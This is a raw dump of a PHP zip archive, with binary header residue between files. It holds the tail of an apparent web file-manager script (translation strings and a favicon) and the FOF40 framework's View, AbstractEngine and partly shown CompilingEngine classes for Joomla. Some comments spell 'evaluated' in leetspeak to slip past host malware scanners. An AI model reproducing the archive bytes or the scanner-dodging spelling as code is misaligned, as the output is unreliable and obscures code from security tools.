= 'Edit'; $tr['en']['NormalEditor'] = 'Normal Editor'; $tr['en']['BackUp'] = 'Back Up'; $tr['en']['SourceFolder'] = 'Source Folder'; $tr['en']['Files'] = 'Files'; $tr['en']['Move'] = 'Move'; $tr['en']['Change'] = 'Change'; $tr['en']['Settings'] = 'Settings'; $tr['en']['Language'] = 'Language'; $tr['en']['MemoryUsed'] = 'Memory used'; $tr['en']['PartitionSize'] = 'Partition size'; $tr['en']['ErrorReporting'] = 'Error Reporting'; $tr['en']['ShowHiddenFiles'] = 'Show Hidden Files'; $tr['en']['Full size'] = 'Full size'; $tr['en']['Help'] = 'Help'; $tr['en']['Free of'] = 'Free of'; $tr['en']['Preview'] = 'Preview'; $tr['en']['Help Documents'] = 'Help Documents'; $tr['en']['Report Issue'] = 'Report Issue'; $tr['en']['Generate'] = 'Generate'; $tr['en']['FullSize'] = 'Full Size'; $tr['en']['FreeOf'] = 'free of'; $tr['en']['CalculateFolderSize']= 'Calculate folder size'; $tr['en']['ProcessID'] = 'Process ID'; $tr['en']['Created'] = 'Created'; $tr['en']['HideColumns'] = 'Hide Perms/Owner columns';$tr['en']['Folder is empty'] = 'Folder is empty'; $tr['en']['Check Latest Version'] = 'Check Latest Version';$tr['en']['Generate new password hash'] = 'Generate new password hash'; $tr['en']['You are logged in'] = 'You are logged in'; $tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password'; $tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version'; $i18n = fm_get_translations($tr); $tr = $i18n ? $i18n : $tr; if (!strlen($lang)) $lang = 'en'; if (isset($tr[$lang][$txt])) return fm_enc($tr[$lang][$txt]); else if (isset($tr['en'][$txt])) return fm_enc($tr['en'][$txt]); else return "$txt"; } /** * Get base64-encoded images * @return array */ function fm_get_images() { return array( 'favicon' => 'Qk04AgAAAAAAADYAAAAoAAAAEAAAABAAAAABABAAAAAAAAICAAASCwAAEgsAAAAAAAAAAAAAIQQhBCEEIQQhBCEEIQQhBCEEIQ QhBCEEIQQhBCEEIQQhBCEEIQQhBHNO3n/ef95/vXetNSEEIQQhBCEEIQQhBCEEIQQhBCEEc07ef95/3n/ef95/1lohBCEEIQQhBCEEIQQhBCEEIQ RzTt5/3n8hBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBHNO3n/efyEEMUbef95/IQQhBCEEIQQhBCEEIQQhBCEErTVzTnNOIQQxRt5/3n8hBCEEIQ QhBCEEIQQhBCEEIQQhBCEEIQQhBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBCEEIQQxRt5/3n+cc2stIQQhBCEEIQQhBCEEIQQhBCEEIQQIIZxz3n /ef5xzay0hBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBK01c05zTiEEMUbef95/IQQhBCEEIQQhBCEEIQ QhBCEEc07ef95/IQQxRt5/3n8hBCEEIQQhBCEEIQQhBCEEIQRzTt5/3n8hBDFG3n/efyEEIQQhBCEEIQQhBCEEIQQhBKUUOWfef95/3n/ef95/IQ QhBCEEIQQhBCEEIQQhBCEEIQQhBJRW3n/ef95/3n8hBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQhBCEEIQQAAA==' ); } ?>PK���\,�l<����fof40/View/View.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\View; defined('_JEXEC') || die; use FOF40\Container\Container; use FOF40\Model\Model; use FOF40\View\Engine\EngineInterface; use FOF40\View\Engine\PhpEngine; use FOF40\View\Exception\CannotGetName; use FOF40\View\Exception\EmptyStack; use FOF40\View\Exception\ModelNotFound; use FOF40\View\Exception\UnrecognisedExtension; use Joomla\CMS\Language\Text; /** * Class View * * A generic MVC view implementation * * @property-read \FOF40\Input\Input $input The input object (magic __get returns the Input from the Container) */ class View { public $baseurl; /** * Current or most recently performed task. * Currently public, it should be reduced to protected in the future * * @var string */ public $task; /** * The mapped task that was performed. * Currently public, it should be reduced to protected in the future * * @var string */ public $doTask; /** * The name of the view * * @var array */ protected $name; /** * Registered models * * @var array */ protected $modelInstances = []; /** * The default model * * @var string */ protected $defaultModel; /** * Layout name * * @var string */ protected $layout = 'default'; /** * Layout template * * @var string */ protected $layoutTemplate = '_'; /** * The set of search directories for view templates * * @var array */ protected $templatePaths = []; /** * The name of the default template source file. * * @var string */ protected $template; /** * The output of the template script. * * @var string */ protected $output; /** * A cached copy of the configuration * * @var array */ protected $config = []; /** * The container attached to this view * * @var Container */ protected $container; /** * The object used to locate view templates in the filesystem * * @var ViewTemplateFinder */ protected $viewFinder; /** * Used when loading template files to avoid variable scope issues * * @var null */ protected $_tempFilePath; /** * Should I run the pre-render step? * * @var boolean */ protected $doPreRender = true; /** * Should I run the post-render step? * * @var boolean */ protected $doPostRender = true; /** * Maps view template extensions to view engine classes * * @var array */ protected $viewEngineMap = [ '.blade.php' => 'FOF40\\View\\Engine\\BladeEngine', '.php' => 'FOF40\\View\\Engine\\PhpEngine', ]; /** * All of the finished, captured sections. * * @var array */ protected $sections = []; /** * The stack of in-progress sections. * * @var array */ protected $sectionStack = []; /** * The number of active rendering operations. * * @var int */ protected $renderCount = 0; /** * Aliases of view templates. For example: * * array('userProfile' => 'site://com_foobar/users/profile') * * allows you to do something like $this->loadAnyTemplate('userProfile') to display the frontend view template * site://com_foobar/users/profile. You can also alias one view template with another, e.g. * 'site://com_something/users/profile' => 'admin://com_foobar/clients/record' * * @var array */ protected $viewTemplateAliases = []; /** * Constructor. * * The $config array can contain the following overrides: * name string The name of the view (defaults to the view class name) * template_path string The path of the layout directory * layout string The layout for displaying the view * viewFinder ViewTemplateFinder The object used to locate view templates in the filesystem * viewEngineMap array Maps view template extensions to view engine classes * * @param Container $container The container we belong to * @param array $config The configuration overrides for the view * * @return View */ public function __construct(Container $container, array $config = []) { $this->container = $container; $this->config = $config; // Get the view name if (isset($this->config['name'])) { $this->name = $this->config['name']; } $this->name = $this->getName(); // Set the default template search path if (array_key_exists('template_path', $this->config)) { // User-defined dirs $this->setTemplatePath($this->config['template_path']); } else { $this->setTemplatePath($this->container->thisPath . '/View/' . ucfirst($this->name) . '/tmpl'); } // Set the layout if (array_key_exists('layout', $this->config)) { $this->setLayout($this->config['layout']); } // Apply the viewEngineMap if (isset($config['viewEngineMap'])) { // If the overrides are a string convert it to an array first. if (!is_array($config['viewEngineMap'])) { $temp = explode(',', $config['viewEngineMap']); $config['viewEngineMap'] = []; foreach ($temp as $assignment) { $parts = explode('=>', $assignment, 2); if (count($parts) != 2) { continue; } $parts = array_map(function ($x) { return trim($x); }, $parts); $config['viewEngineMap'][$parts[0]] = $parts[1]; } } /** * We want to always have a sane fallback to plain .php template files at the end of the view engine stack. * For this to happen to we need to remove it from the current stack, disallow overriding it in the * viewEngineMap overrides, merge the overrides and then add the fallback at the very end of the stack. * * In previous versions we didn't do that which had two side effects: * 1. It was no longer a fallback, it was in the middle of the stack * 2. Any new template engines using a .something.php extension wouldn't work, see * https://github.com/akeeba/fof/issues/694 */ // Do not allow overriding the fallback .php handler if (isset($config['viewEngineMap']['.php'])) { unset ($config['viewEngineMap']['.php']); } // Temporarily remove the fallback .php handler $phpHandler = $this->viewEngineMap['.php'] ?? PhpEngine::class; unset ($this->viewEngineMap['.php']); // Add the overrides $this->viewEngineMap = array_merge($this->viewEngineMap, $config['viewEngineMap']); // Push the fallback .php handler to the end of the view engine map stack $this->viewEngineMap = array_merge($this->viewEngineMap, [ '.php' => $phpHandler ]); } // Set the ViewFinder $this->viewFinder = $this->container->factory->viewFinder($this); if (isset($config['viewFinder']) && !empty($config['viewFinder']) && is_object($config['viewFinder']) && ($config['viewFinder'] instanceof ViewTemplateFinder)) { $this->viewFinder = $config['viewFinder']; } // Apply the registered view template extensions to the view finder $this->viewFinder->setExtensions(array_keys($this->viewEngineMap)); // Apply the base URL $this->baseurl = $this->container->platform->URIbase(); } /** * Magic get method. Handles magic properties: * $this->input mapped to $this->container->input * * @param string $name The property to fetch * * @return mixed|null */ public function __get($name) { // Handle $this->input if ($name == 'input') { return $this->container->input; } // Property not found; raise error $trace = debug_backtrace(); trigger_error( 'Undefined property via __get(): ' . $name . ' in ' . $trace[0]['file'] . ' on line ' . $trace[0]['line'], E_USER_NOTICE); return null; } /** * Method to get the view name * * The model name by default parsed using the classname, or it can be set * by passing a $config['name'] in the class constructor * * @return string The name of the model * * @throws \Exception */ public function getName() { if (empty($this->name)) { $r = null; if (!preg_match('/(.*)\\\\View\\\\(.*)\\\\(.*)/i', get_class($this), $r)) { throw new CannotGetName; } $this->name = $r[2]; } return $this->name; } /** * Escapes a value for output in a view script. * * @param mixed $var The output to escape. * * @return mixed The escaped value. */ public function escape($var) { return htmlspecialchars($var, ENT_COMPAT, 'UTF-8'); } /** * Method to get data from a registered model or a property of the view * * @param string $property The name of the method to call on the Model or the property to get * @param string $default The default value [optional] * @param string $modelName The name of the Model to reference [optional] * * @return mixed The return value of the method */ public function get($property, $default = null, $modelName = null) { $model = is_null($modelName) ? $this->defaultModel : $modelName; // First check to make sure the model requested exists if (isset($this->modelInstances[$model])) { // Model exists, let's build the method name $method = 'get' . ucfirst($property); // Does the method exist? if (method_exists($this->modelInstances[$model], $method)) { // The method exists, let's call it and return what we get $result = $this->modelInstances[$model]->$method(); return $result; } $result = $this->modelInstances[$model]->$property(); if (is_null($result)) { return $default; } return $result; } if (@isset($this->$property)) { return $this->$property; } return $default; } /** * Returns a named Model object * * @param string $name The Model name. If null we'll use the modelName * variable or, if it's empty, the same name as * the Controller * * @return Model The instance of the Model known to this Controller */ public function getModel($name = null) { if (!empty($name)) { $modelName = $name; } elseif (!empty($this->defaultModel)) { $modelName = $this->defaultModel; } else { $modelName = $this->name; } if (!array_key_exists($modelName, $this->modelInstances)) { throw new ModelNotFound($modelName ?? '', $this->name ?? ''); } return $this->modelInstances[$modelName]; } /** * Pushes the default Model to the View * * @param Model $model The model to push */ public function setDefaultModel(Model &$model) { $name = $model->getName(); $this->setDefaultModelName($name); $this->setModel($this->defaultModel, $model); } /** * Set the name of the Model to be used by this View * * @param string $modelName The name of the Model * * @return void */ public function setDefaultModelName($modelName) { $this->defaultModel = $modelName; } /** * Pushes a named model to the View * * @param string $modelName The name of the Model * @param Model $model The actual Model object to push * * @return void */ public function setModel($modelName, Model &$model) { $this->modelInstances[$modelName] = $model; } /** * Overrides the default method to execute and display a template script. * Instead of loadTemplate is uses loadAnyTemplate. * * @param string $tpl The name of the template file to parse * * @return boolean True on success * * @throws \Exception When the layout file is not found */ public function display($tpl = null) { $this->initialise(); $eventName = 'onBefore' . ucfirst($this->doTask); $this->triggerEvent($eventName, [$tpl]); $preRenderResult = ''; if ($this->doPreRender) { @ob_start(); $this->preRender(); $preRenderResult = @ob_get_contents(); @ob_end_clean(); } $templateResult = $this->loadTemplate($tpl); $eventName = 'onAfter' . ucfirst($this->doTask); $this->triggerEvent($eventName, [$tpl]); if (is_object($templateResult) && ($templateResult instanceof \Exception)) { throw $templateResult; } echo $preRenderResult . $templateResult; if ($this->doPostRender) { $this->postRender(); } return true; } /** * Get the layout. * * @return string The layout name */ public function getLayout() { return $this->layout; } /** * Sets the layout name to use * * @param string $layout The layout name or a string in format <template>:<layout file> * * @return string Previous value. */ public function setLayout($layout) { $previous = $this->layout; if (is_null($layout)) { $layout = 'default'; } if (strpos($layout, ':') === false) { $this->layout = $layout; } else { // Convert parameter to array based on : $temp = explode(':', $layout); $this->layout = $temp[1]; // Set layout template $this->layoutTemplate = $temp[0]; } return $previous; } /** * Our function uses loadAnyTemplate to provide smarter view template loading. * * @param string $tpl The name of the template file to parse * @param boolean $strict Should we use strict naming, i.e. force a non-empty $tpl? * * @return mixed A string if successful, otherwise an Exception */ public function loadTemplate($tpl = null, $strict = false) { $result = ''; $uris = $this->viewFinder->getViewTemplateUris([ 'component' => $this->container->componentName, 'view' => $this->getName(), 'layout' => $this->getLayout(), 'tpl' => $tpl, 'strictTpl' => $strict, ]); foreach ($uris as $uri) { try { $result = $this->loadAnyTemplate($uri); break; } catch (\Exception $e) { $result = $e; } } if ($result instanceof \Exception) { $this->container->platform->showErrorPage($result); } return $result; } /** * Loads a template given any path. The path is in the format componentPart://componentName/viewName/layoutName, * for example * site:com_example/items/default * admin:com_example/items/default_subtemplate * auto:com_example/things/chair * any:com_example/invoices/printpreview * * @param string $uri The template path * @param array $forceParams A hash array of variables to be extracted in the local scope of the * template file * @param callable|null $callback A method to post-process the 3ναluα+3d view template (I use leetspeak here * because of bad quality hosts with broken scanners) * @param bool $noOverride If true we will not load Joomla! template overrides. Useful when you want * the template overrides to extend the original view template. * * @return string The output of the template * * @throws \Exception When the layout file is not found */ public function loadAnyTemplate(string $uri = '', array $forceParams = [], ?callable $callback = null, bool $noOverride = false) { if (isset($this->viewTemplateAliases[$uri])) { $uri = $this->viewTemplateAliases[$uri]; } $layoutTemplate = $this->getLayoutTemplate(); $extraPaths = []; if (!empty($this->templatePaths)) { $extraPaths = $this->templatePaths; } // First get the raw view template path $path = $this->viewFinder->resolveUriToPath($uri, $layoutTemplate, $extraPaths, $noOverride); // Now get the parsed view template path $this->_tempFilePath = $this->getEngine($path)->get($path, $forceParams); // We will keep track of the amount of views being rendered so we can flush // the section after the complete rendering operation is done. This will // clear out the sections for any separate views that may be rendered. $this->incrementRender(); // Get the processed template $contents = $this->processTemplate($forceParams); // Once we've finished rendering the view, we'll decrement the render count // so that each sections get flushed out next time a view is created and // no old sections are staying around in the memory of an environment. $this->decrementRender(); $response = isset($callback) ? $callback($this, $contents) : null; if (!is_null($response)) { $contents = $response; } // Once we have the contents of the view, we will flush the sections if we are // done rendering all views so that there is nothing left hanging over when // another view gets rendered in the future by the application developer. $this->flushSectionsIfDoneRendering(); return $contents; } /** * Increment the rendering counter. * * @return void */ public function incrementRender() { $this->renderCount++; } /** * Decrement the rendering counter. * * @return void */ public function decrementRender() { $this->renderCount--; } /** * Check if there are no active render operations. * * @return bool */ public function doneRendering() { return $this->renderCount == 0; } /** * Go through a data array and render a sub-template against each record (think master-detail views). This is * accessible through Blade templates as @each * * @param string $viewTemplate The view template to use for each subitem, format * componentPart://componentName/viewName/layoutName * @param array $data The array of data you want to render. It can be a DataModel\Collection, array, * ... * @param string $eachItemName How to call each item in the loaded sub-template (passed through $forceParams) * @param string $empty What to display if the array is empty * * @return string */ public function renderEach($viewTemplate, $data, $eachItemName, $empty = 'raw|') { $result = ''; // If is actually data in the array, we will loop through the data and append // an instance of the partial view to the final result HTML passing in the // iterated value of this data array, allowing the views to access them. if (count($data) > 0) { foreach ($data as $key => $value) { $data = ['key' => $key, $eachItemName => $value]; $result .= $this->loadAnyTemplate($viewTemplate, $data); } return $result; } if (starts_with($empty, 'raw|')) { $result = substr($empty, 4); return $result; } if (starts_with($empty, 'text|')) { $result = Text::_(substr($empty, 5)); return $result; } return $this->loadAnyTemplate($empty); } /** * Start injecting content into a section. * * @param string $section * @param string $content * * @return void */ public function startSection($section, $content = '') { if ($content === '') { if (ob_start()) { $this->sectionStack[] = $section; } } else { $this->extendSection($section, $content); } } /** * Stop injecting content into a section and return its contents. * * @return string */ public function yieldSection() { return $this->yieldContent($this->stopSection()); } /** * Stop injecting content into a section. * * @param bool $overwrite * * @return string */ public function stopSection($overwrite = false) { if (empty($this->sectionStack)) { // Let's close the output buffering ob_get_clean(); throw new EmptyStack(); } $last = array_pop($this->sectionStack); if ($overwrite) { $this->sections[$last] = ob_get_clean(); } else { $this->extendSection($last, ob_get_clean()); } return $last; } /** * Stop injecting content into a section and append it. * * @return string */ public function appendSection() { if (empty($this->sectionStack)) { // Let's close the output buffering ob_get_clean(); throw new EmptyStack(); } $last = array_pop($this->sectionStack); if (isset($this->sections[$last])) { $this->sections[$last] .= ob_get_clean(); } else { $this->sections[$last] = ob_get_clean(); } return $last; } /** * Get the string contents of a section. * * @param string $section * @param string $default * * @return string */ public function yieldContent($section, $default = '') { $sectionContent = $default; if (isset($this->sections[$section])) { $sectionContent = $this->sections[$section]; } return str_replace('@parent', '', $sectionContent); } /** * Flush all of the section contents. * * @return void */ public function flushSections() { $this->sections = []; $this->sectionStack = []; } /** * Flush all of the section contents if done rendering. * * @return void */ public function flushSectionsIfDoneRendering() { if ($this->doneRendering()) { $this->flushSections(); } } /** * Get the layout template. * * @return string The layout template name */ public function getLayoutTemplate() { return $this->layoutTemplate; } /** * Load a helper file * * @param string $helperClass The last part of the name of the helper * class. * * @return void * * @deprecated 3.0 Just use the class in your code. That's what the autoloader is for. */ public function loadHelper($helperClass = null) { // Get the helper class name $className = '\\' . $this->container->getNamespacePrefix() . 'Helper\\' . ucfirst($helperClass); // This trick autoloads the helper class. We can't instantiate it as // helpers are (supposed to be) abstract classes with static method // interfaces. class_exists($className); } /** * Returns a reference to the container attached to this View * * @return Container */ public function &getContainer() { return $this->container; } public function getTask() { return $this->task; } /** * @param string $task * * @return $this This for chaining */ public function setTask($task) { $this->task = $task; return $this; } public function getDoTask() { return $this->doTask; } /** * @param string $task * * @return $this This for chaining */ public function setDoTask($task) { $this->doTask = $task; return $this; } /** * Sets the pre-render flag * * @param boolean $value True to enable the pre-render step * * @return void */ public function setPreRender($value) { $this->doPreRender = $value; } /** * Sets the post-render flag * * @param boolean $value True to enable the post-render step * * @return void */ public function setPostRender($value) { $this->doPostRender = $value; } /** * Add an alias for a view template. * * @param string $viewTemplate Existing view template, in the format * componentPart://componentName/viewName/layoutName * @param string $alias The alias of the view template (any string will do) * * @return void */ public function alias($viewTemplate, $alias) { $this->viewTemplateAliases[$alias] = $viewTemplate; } /** * Add a JS script file to the page generated by the CMS. * * There are three combinations of defer and async (see http://www.w3schools.com/tags/att_script_defer.asp): * * $defer false, $async true: The script is executed asynchronously with the rest of the page * (the script will be executed while the page continues the parsing) * * $defer true, $async false: The script is executed when the page has finished parsing. * * $defer false, $async false. (default) The script is loaded and executed immediately. When it finishes * loading the browser continues parsing the rest of the page. * * When you are using $defer = true there is no guarantee about the load order of the scripts. Whichever * script loads first will be executed first. The order they appear on the page is completely irrelevant. * * @param string $uri A path definition understood by parsePath, e.g. media://com_example/js/foo.js * @param string $version (optional) Version string to be added to the URL * @param string $type MIME type of the script * @param boolean $defer Adds the defer attribute, see above * @param boolean $async Adds the async attribute, see above * * @return $this Self, for chaining */ public function addJavascriptFile($uri, $version = null, $type = 'text/javascript', $defer = false, $async = false) { // Add an automatic version if $version is null. For no version parameter pass an empty string to $version. if (is_null($version)) { $version = $this->container->mediaVersion; } $this->container->template->addJS($uri, $defer, $async, $version, $type); return $this; } /** * Adds an inline JavaScript script to the page header * * @param string $script The script content to add * @param string $type The MIME type of the script * * @return $this Self, for chaining */ public function addJavascriptInline($script, $type = 'text/javascript') { $this->container->template->addJSInline($script, $type); return $this; } /** * Add a CSS file to the page generated by the CMS * * @param string $uri A path definition understood by parsePath, e.g. media://com_example/css/foo.css * @param string $version (optional) Version string to be added to the URL * @param string $type MIME type of the stylesheeet * @param string $media Media target definition of the style sheet, e.g. "screen" * @param array $attribs Array of attributes * * @return $this Self, for chaining */ public function addCssFile($uri, $version = null, $type = 'text/css', $media = null, $attribs = []) { // Add an automatic version if $version is null. For no version parameter pass an empty string to $version. if (is_null($version)) { $version = $this->container->mediaVersion; } $this->container->template->addCSS($uri, $version, $type, $media, $attribs); return $this; } /** * Adds an inline stylesheet (inline CSS) to the page header * * @param string $css The stylesheet content to add * @param string $type The MIME type of the script * * @return $this Self, for chaining */ public function addCssInline($css, $type = 'text/css') { $this->container->template->addCSSInline($css, $type); return $this; } /** * Sets an entire array of search paths for templates or resources. * * @param mixed $path The new search path, or an array of search paths. If null or false, resets to the current * directory only. * * @return void */ protected function setTemplatePath($path) { // Clear out the prior search dirs $this->templatePaths = []; // Actually add the user-specified directories $this->addTemplatePath($path); // Set the alternative template search dir $templatePath = JPATH_THEMES; $fallback = $templatePath . '/' . $this->container->platform->getTemplate() . '/html/' . $this->container->componentName . '/' . $this->name; $this->addTemplatePath($fallback); // Get extra directories through event dispatchers $extraPathsResults = $this->container->platform->runPlugins('onGetViewTemplatePaths', [ $this->container->componentName, $this->getName(), ]); if (!is_array($extraPathsResults)) { return; } if (empty($extraPathsResults)) { return; } foreach ($extraPathsResults as $somePaths) { if (!empty($somePaths)) { foreach ($somePaths as $aPath) { $this->addTemplatePath($aPath); } } } } /** * Adds to the search path for templates and resources. * * @param mixed $path The directory or stream, or an array of either, to search. * * @return void */ protected function addTemplatePath($path) { // Just force to array $path = (array) $path; // Loop through the path directories foreach ($path as $dir) { // No surrounding spaces allowed! $dir = trim($dir); // Add trailing separators as needed if (substr($dir, -1) != DIRECTORY_SEPARATOR) { // Directory $dir .= DIRECTORY_SEPARATOR; } // Add to the top of the search dirs array_unshift($this->templatePaths, $dir); } } /** * Append content to a given section. * * @param string $section * @param string $content * * @return void */ protected function extendSection($section, $content) { if (isset($this->sections[$section])) { $content = str_replace('@parent', $content, $this->sections[$section]); } $this->sections[$section] = $content; } /** * Evaluates the template described in the _tempFilePath property * * @param array $forceParams Forced parameters * * @return string * @throws \Exception */ protected function processTemplate(array &$forceParams) { // If the engine returned raw content, return the raw content immediately if ($this->_tempFilePath['type'] == 'raw') { return $this->_tempFilePath['content']; } if (substr($this->_tempFilePath['content'], 0, 4) == 'raw|') { return substr($this->_tempFilePath['content'], 4); } $obLevel = ob_get_level(); ob_start(); // We'll process the contents of the view inside a try/catch block so we can // flush out any stray output that might get out before an error occurs or // an exception is thrown. This prevents any partial views from leaking. try { $this->includeTemplateFile($forceParams); } catch (\Exception $e) { $this->handleViewException($e, $obLevel); } return ob_get_clean(); } /** * Handle a view exception. * * @param \Exception $e The exception to handle * @param int $obLevel The target output buffering level * * @return void * * @throws $e */ protected function handleViewException(\Exception $e, $obLevel) { while (ob_get_level() > $obLevel) { ob_end_clean(); } $message = $e->getMessage() . ' (View template: ' . realpath($this->_tempFilePath['content']) . ')'; $newException = new \ErrorException($message, 0, 1, $e->getFile(), $e->getLine(), $e); throw $newException; } /** * Get the appropriate view engine for the given view template path. * * @param string $path The path of the view template * * @return EngineInterface * * @throws UnrecognisedExtension */ protected function getEngine($path) { foreach ($this->viewEngineMap as $extension => $engine) { if (substr($path, -strlen($extension)) == $extension) { return new $engine($this); } } throw new UnrecognisedExtension($path); } /** * Get the extension used by the view file. * * @param string $path * * @return string */ protected function getExtension($path) { $extensions = array_keys($this->viewEngineMap); return array_first($extensions, function ($key, $value) use ($path) { return ends_with($path, $value); }); } /** * Triggers an object-specific event. The event runs both locally –if a suitable method exists– and through the * Joomla! plugin system. A true/false return value is expected. The first false return cancels the event. * * EXAMPLE * Component: com_foobar, Object name: item, Event: onBeforeSomething, Arguments: array(123, 456) * The event calls: * 1. $this->onBeforeSomething(123, 456) * 2. Joomla! plugin event onComFoobarViewItemBeforeSomething($this, 123, 456) * * @param string $event The name of the event, typically named onPredicateVerb e.g. onBeforeKick * @param array $arguments The arguments to pass to the event handlers * * @return bool */ protected function triggerEvent($event, array $arguments = []) { $result = true; // If there is an object method for this event, call it if (method_exists($this, $event)) { $result = $this->{$event}(...$arguments); } if ($result === false) { return false; } // All other event handlers live outside this object, therefore they need to be passed a reference to this // objects as the first argument. array_unshift($arguments, $this); // If we have an "on" prefix for the event (e.g. onFooBar) remove it and stash it for later. $prefix = ''; if (substr($event, 0, 2) == 'on') { $prefix = 'on'; $event = substr($event, 2); } // Get the component/model prefix for the event $prefix .= 'Com' . ucfirst($this->container->bareComponentName) . 'View'; $prefix .= ucfirst($this->getName()); // The event name will be something like onComFoobarItemsBeforeSomething $event = $prefix . $event; // Call the Joomla! plugins $results = $this->container->platform->runPlugins($event, $arguments); return !in_array(false, $results, true); } /** * Runs before rendering the view template, echoing HTML to put before the view template's generated HTML. * * This method runs **before** executing the OnBefore* view events. * * @return void */ protected function initialise(): void { } /** * Runs before rendering the view template, echoing HTML to put before the view template's generated HTML. * * This method runs **after** executing the OnBefore* view events. * * @return void */ protected function preRender(): void { // You need to implement this in children classes } /** * Runs after rendering the view template, echoing HTML to put after the * view template's generated HTML * * @return void */ protected function postRender(): void { // You need to implement this in children classes } /** * This method makes sure the current scope isn't polluted with variables when including a view template * * @param array $forceParams Forced parameters * * @return void */ private function includeTemplateFile(array &$forceParams) { // Extract forced parameters if (!empty($forceParams)) { extract($forceParams); } include $this->_tempFilePath['content']; } } PK���\���$fof40/View/Engine/AbstractEngine.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\View\Engine; defined('_JEXEC') || die; use FOF40\View\View; abstract class AbstractEngine implements EngineInterface { /** @var View The view we belong to */ protected $view; /** * Public constructor * * @param View $view The view we belong to */ public function __construct(View $view) { $this->view = $view; } /** * Get the include path for a parsed view template * * @param string $path The path to the view template * @param array $forceParams Any additional information to pass to the view template engine * * @return array Content 3ναlυα+ιοη information (I use leetspeak here because of bad quality hosts with broken * scanners) */ public function get($path, array $forceParams = []) { return [ 'type' => 'raw', 'content' => '', ]; } } PK���\��-��%fof40/View/Engine/CompilingEngine.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2022 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace FOF40\View\Engine; defined('_JEXEC') || die; use FOF40\Utils\Buffer; use FOF40\View\Compiler\CompilerInterface; use FOF40\View\Exception\PossiblySuhosin; use Joomla\CMS\Filesystem\File; /** * View engine for compiling PHP template files. */ abstract class CompilingEngine extends AbstractEngine implements EngineInterface { /** @var CompilerInterface The compiler used by this engine */ protected $compiler; /** * Get the 3ναlυa+3d contents of the view template. (I use leetspeak here because of bad quality hosts with broken * scanners) * * @param string $path The path to the view template * @param array $forceParams Any additional information to pass to the view template engine * * @return array Content evaluation information */ public function get($path, array $forceParams = []) { // If it's cached return the path to the cached file's path if ($this->isCached($path)) { return [ 'type' => 'path', 'content' => $this->getCachePath($path), ]; } /** * Compile and cache the file. We also add the file path in a comment at the top of the file so phpStorm can * debug it. * * @see https://blog.jetbrains.com/phpstorm/2019/02/phpstorm-2019-1-eap-191-5849-26/ * @see https://laravel-news.com/laravel-5-8-blade-template-file-path */ $content = "<?php /* $path */ ?>\n"; $content .= $this->compile($path, $forceParams); $cachePath = $this->putToCache($path, $content); $isPHPFile = substr($path, -4) == '.php'; // If we could cache it, return the cached file's path if ($cachePath !== false) { // Bust the opcode cache for .php files if ($isPHPFile) { $this->bustOpCache($path); } return [ 'type' => 'path', 'content' => $cachePath, ]; } // We could not write to the cache. Hm, can I use a stream wrapper? $canUseStreams = Buffer::canRegisterWrapper(); if ($canUseStreams) { $id = $this->getIdentifier($path); $streamPath = 'fof://' . $this->view->getContainer()->componentName . '/compiled_templates/' . $id . '.php'; file_put_contents($streamPath, $content); // Bust the opcode cache for .php files if ($isPHPFile) { $this->bustOpCache($path); } return [ 'type' => 'path', 'content' => $streamPath, ]; } // I couldn't use a stream wrapper. I have to give up. throw new PossiblySuhosin; } /** * Returns the path where I can find a precompiled version of the uncompiled view template which lives in $path * * @param string $path The path to the uncompiled view template * * @return bool|string False if the view template is outside the component's front- or backend. * * @since 3.3.1 */ public function getPrecompiledPath($path) { // Normalize the path to the file $path = realpath($path); if ($path === false) { // The file doesn't exist return false; } // Is this path under the component's front- or backend? $frontendPath = realpath($this->view->getContainer()->frontEndPath); $backendPath = realpath($this->view->getContainer()->backEndPath); $backPos = strpos($path, $backendPath); $frontPos = strpos($path, $frontendPath); if (($backPos !== 0) && ($frontPos !== 0)) { // This is not a view template shipped with the component, i.e. it can't be precompiled return false; } // Eliminate the component path from $path to get the relative path to the file $componentPath = $frontendPath; if ($backPos === 0) { $componentPath = $backendPath; } $relativePath = ltrim(substr($path, strlen($componentPath)), '\\/'); // Break down the relative path to its parts $relativePath = str_replace('\\', '/', $relativePath); $pathParts = explode('/', $relativePath); // Remove the prefix $prefix = array_shift($pathParts); // If it's a legacy view, View, Views, or views prefix remove the 'tmpl' part if (($prefix !== 'ViewTemplates') && ($prefix !== 'tmpl')) { unset($pathParts[1]); } // Get the last part and process the extension $viewFile = array_pop($pathParts); $extensionWithoutDot = $this->compiler->getFileExtension(); $pathParts[] = substr($viewFile, 0, -strlen($extensionWithoutDot)) . 'php'; $precompiledRelativePath = implode(DIRECTORY_SEPARATOR, $pathParts); return $componentPath . DIRECTORY_SEPARATOR . 'PrecompiledTemplates' . DIRECTORY_SEPARATOR . $precompiledRelativePath; } /** * A method to compile the raw view template into valid PHP * * @param string $path The path to the view template * @param array $forceParams Any additional information to pass to the view template compiler * * @return string The template compiled to executable PHP */ protected function compile($path, array $forceParams = []) { return $this->compiler->compile($path, $forceParams); } protected function getIdentifier($path) { if (function_exists('sha1')) { return sha1($path); } return md5($path); } protected function getCachePath($path) { $id = $this->getIdentifier($path); return JPATH_CACHE . '/' . $this->view->getContainer()->componentName . '/compiled_templates/' . $id . '.php'; } protected function isCached($path) { if (!$this->compiler->isCacheable()) { return false; } $cachePath = $this->getCachePath($path); if (!file_exists($cachePath)) { return false; } $cacheTime = filemtime($cachePath); $fileTime = filemtime($path); return $fileTime <= $cacheTime; } protected function getCached($path) { $cachePath = $this->getCachePath($path); return file_get_contents($cachePath); } protected function putToCache($path, $content) { $cachePath = $this->getCachePath($path); if (@file_put_contents($cachePath, $content)) { return $cachePath; } if (File::write($cachePath, $content)) { return $cachePath; } return false; } /** * Bust the opcode cache for a given .php file * * This method can address opcode caching with: * - Zend OPcache * - Alternative PHP Cache (now defunct) * - Windows 